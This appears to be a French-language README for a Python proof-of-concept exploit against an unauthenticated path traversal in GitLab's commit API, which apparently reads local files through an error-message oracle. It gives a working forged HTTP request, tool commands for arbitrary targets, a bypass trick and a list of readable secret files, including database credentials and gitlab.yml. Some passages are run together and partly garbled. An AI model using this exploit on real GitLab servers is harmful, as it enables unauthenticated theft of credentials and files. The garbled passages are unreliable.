
PoC Python pour CVE-2026-85706, une traversée de chemin non authentifiée dans l'API Repository Commits de GitLab CE/EE qui exfiltre des fichiers locaux arbitraires via un oracle à quatre états.
L'API « créer un commit » de GitLab (POST /api/v4/projects/:id/repository/commits) permet à une seule requête de transporter un grand nombre de contenus de fichiers. Pour éviter qu'un corps de requête surdimensionné n'entre directement dans l'analyseur Rails, Workhorse écrit d'abord le corps de la requête dans un fichier temporaire, puis injecte les métadonnées file.path / file.size dans la requête transmise, et le point de terminaison Rails relit le fichier selon ces paramètres. La chaîne de vulnérabilité résulte de la superposition de quatre éléments :
post ':id/repository/commits' ne comporte que require_gitlab_workhorse! (qui vérifie uniquement que la requête « a été transmise par Workhorse »), le véritable authenticate! étant enfoui plus loin dans authorize_push_to_branch!, alors que la lecture par traversée de chemin a lieu avant.file_params_from_body_upload traite directement les paramètres de requête file.path / file.size / Content-Type comme des métadonnées injectées par Workhorse, sans distinguer la provenance des paramètres, et File.read(file_path) permet donc de parcourir n'importe quel chemin local.Content-Type=application/x-www-form-urlencoded, le contenu du fichier est confié à Rack::Utils.parse_nested_query ; une séquence illégale dans le contenu déclenche , reflétée telle quelle dans la réponse 400 via . La réflexion est « premier arrivé, premier servi » : / sont des frontières de composants, l'analyse s'interrompt au premier illégal dans le composant concerné et reflète ce composant ; en l'absence de séparateur, le fichier entier est reflété comme un seul composant (les échappements hexadécimaux valides ne déclenchent pas d'erreur).Condition préalable : le :id de l'URL doit correspondre à un projet réellement existant (n'importe quel projet public suffit), et aucune authentification n'est requise à aucun moment.
Requête d'exploitation (database.yml en déploiement avec DB externe, réflexion intégrale lorsque le mot de passe contient une séquence % illégale) :
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
Réponse (réflexion intégrale du composant contenant le premier % illégal) :
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
La lecture s'exécute sous l'identité de l'utilisateur git du processus Puma, et la réponse constitue un oracle à quatre états :
Périmètre réellement lisible en déploiement par défaut (mesuré) :
% : journaux et artefacts de build CI, pièces jointes téléversées par les utilisateurs, database.yml d'un déploiement avec DB externe. Dans un déploiement par défaut avec authentification locale par socket peer, le champ mot de passe de database.yml est vide ; seule une DB externe lui donne une valeur.gitlab.yml : les commentaires du modèle rendu contiennent dès l'en-tête du fichier (vers la ligne 19) des séquences telles que 95%, %{key}, alors que la configuration des identifiants (incoming_email, LDAP, stockage objet, etc.) se trouve après la ligne 170 — le « premier arrivé, premier servi » signifie qu'en déploiement par défaut, seul le segment d'en-tête peut être reflété, le segment des identifiants reste illisible ; il n'est lisible que dans les variantes de déploiement sans séquence parasite (modèle personnalisé, etc.). À noter également que le mot de passe SMTP (gitlab_rails['smtp_password']) n'est pas rendu dans gitlab.yml ; ce qui y est effectivement rendu, ce sont les identifiants incoming_email, LDAP et object_store.secrets.yml est en hexadécimal pur sans %, son contenu reste illisible (401) ; , les clés privées TLS et les archives de sauvegarde sont réservés à root (oracle 500 uniquement).Implémenté avec la bibliothèque standard Python 3, sans dépendance tierce. Le script interprète automatiquement les résultats des quatre états selon le tableau ci-dessus.
python3 exploit.py -t http://<target>:<port> # lit gitlab.yml par défaut (vérification rapide de la réflexion)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
Exemple de sortie (lecture de gitlab.yml en déploiement par défaut — c'est le segment d'en-tête qui est reflété, pas le segment des identifiants) :
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
À usage exclusif de tests de sécurité autorisés et de recherche sur les vulnérabilités.
%ArgumentError: invalid %-encoding (<contenu du composant>)bad_request!&=%%xx.../repository/commits\z), et les paramètres falsifiés sont absorbés dans le contenu du fichier écrit sur disque. Ajouter un / à la fin de l'URL fait échouer cette correspondance et bascule vers le proxy inverse signé de repli — le corps de requête original, avec les paramètres falsifiés, est transmis tel quel à Rails avec un JWT valide, require_gitlab_workhorse! passe ; après normalisation du slash final par Grape, le handler vulnérable est toujours atteint.| Réponse | Signification | Exemple |
|---|
400 local file not present | Le fichier n'existe pas | /etc/nonexistent |
500 Internal Server Error | Existe mais l'utilisateur git n'a pas les droits de lecture (Errno::EACCES non géré) ; une erreur d'analyse de la branche multipart sur un fichier lisible aboutit également à 500 | /etc/shadow, /etc/gitlab/gitlab-secrets.json |
401 Unauthorized | Existe et lisible, mais le contenu ne comporte aucune séquence % illégale, pas de réflexion | /etc/passwd, /proc/self/environ |
400 invalid %-encoding (<contenu>) | Existe, lisible et contient une séquence % illégale — réflexion intégrale du composant concerné | journaux contenant %, artefacts de build CI, database.yml d'une DB externe |
gitlab.rb/proc/self/*, calcul des chemins @hashed à partir de l'ID de projet pour détecter l'existence de projets privés.| Paramètre | Description |
|---|
-t | Adresse GitLab cible (obligatoire), par ex. http://<target>:<port> |
-f | Chemin absolu à lire (par défaut /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | ID de projet, n'importe quel projet réellement existant (par défaut 1) |
-o | Enregistrer le contenu lu dans un fichier local |